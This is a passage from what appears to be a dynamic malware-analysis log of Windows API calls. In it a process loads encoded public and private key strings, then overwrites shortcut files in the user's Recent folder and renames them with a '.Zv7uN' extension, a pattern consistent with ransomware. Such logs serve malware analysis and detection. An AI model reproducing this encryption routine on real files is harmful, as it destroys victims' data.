lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.889] GetCurrentThreadId () returned 0xa30 [0082.889] GetCurrentThreadId () returned 0xa30 [0082.889] GetCurrentThreadId () returned 0xa30 [0082.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QJ pbgGlPls4Oy5IY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qj pbgglpls4oy5iy.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.890] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.890] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.890] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x415 [0082.890] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.890] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x415, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x415, lpOverlapped=0x0) returned 1 [0082.891] CloseHandle (hObject=0x124) returned 1 [0082.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QJ pbgGlPls4Oy5IY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qj pbgglpls4oy5iy.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.893] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x415, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x415, lpOverlapped=0x0) returned 1 [0082.894] CloseHandle (hObject=0x124) returned 1 [0082.896] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QJ pbgGlPls4Oy5IY.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qj pbgglpls4oy5iy.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QJ pbgGlPls4Oy5IY.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qj pbgglpls4oy5iy.lnk.zv7un")) returned 1 [0082.898] GetCurrentThreadId () returned 0xa30 [0082.898] GetCurrentThreadId () returned 0xa30 [0082.898] GetCurrentThreadId () returned 0xa30 [0082.898] GetCurrentThreadId () returned 0xa30 [0082.898] GetCurrentThreadId () returned 0xa30 [0082.898] GetCurrentThreadId () returned 0xa30 [0082.898] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3caddf00, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3caddf00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3caddf00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1a56, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="QNAASLZXJlZKG.lnk", cAlternateFileName="QNAASL~1.LNK")) returned 1 [0082.898] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.898] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.898] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QNAASLZXJlZKG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qnaaslzxjlzkg.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3caddf00, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3caddf00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3caddf00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1a56)) returned 1 [0082.898] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QNAASLZXJlZKG.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\qnaaslzxjlzkg.lnk")) returned 0x20 [0082.898] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QNAASLZXJlZKG.lnk", dwFileAttributes=0x80) returned 1 [0082.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.902] GetCurrentThreadId () returned 0xa30 [0082.902] GetCurrentThreadId () returned 0xa30 [0082.902] GetCurrentThreadId () returned 0xa30 [0082.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.902] GetCurrentThreadId () returned 0xa30 [0082.903] GetCurrentThreadId () returned 0xa30 [0082.903] GetCurrentThreadId () returned 0xa30 [0082.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\QNAASLZXJlZKG.lnk" (normalized: "c:\\users\\5p5nrgjn0js 